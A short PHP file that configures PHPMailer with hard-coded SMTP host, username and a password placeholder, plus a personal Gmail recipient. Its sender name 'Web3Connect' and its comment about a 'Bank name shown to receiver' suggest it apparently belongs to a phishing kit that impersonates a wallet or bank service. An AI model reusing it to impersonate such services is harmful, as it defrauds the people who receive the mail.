<?php

//USING SMTP
include 'mailer/vendor/autoload.php';

use PHPMailer\PHPMailer\PHPMailer;

require_once "mailer/PHPMailer.php";
require_once "mailer/SMTP.php";
require_once "mailer/Exception.php";

$email_to = "brytedree@gmail.com";

    function sendmail($email, $subject, $message){
        $mail = new PHPMailer();
        //SMTP Settings (use default cpanel email account)
        $mail->isSMTP();
        $mail->Host = "karamelscript.com.ng"; //
        $mail->SMTPAuth = true;
        $mail->Username = "mail@karamelscript.com.ng"; // Default cpanel email account
        $mail->Password = '@@mailpass##'; // Default cpanel email password
        $mail->Port = 465; // 587
        $mail->SMTPSecure = "ssl"; // tls

        //Email Settings
        $mail->isHTML(true);
        $mail->setFrom('mail@karamelscript.com.ng','Web3Connect'); // Email address/ Bank bane shown to reciever
        $mail->addAddress($email);
        $mail->AddReplyTo("mail@karamelscript.com.ng", "Web3Connect"); // Email address/ Bank bane shown to reciever
        $mail->Subject = $subject;
        $mail->MsgHTML($message);
        $send = $mail->Send();
        return $send;
    }

function text_input($data) {
    $data = trim($data);
    $data = stripslashes($data);
    $data = htmlspecialchars($data);
    return $data;
  }

?>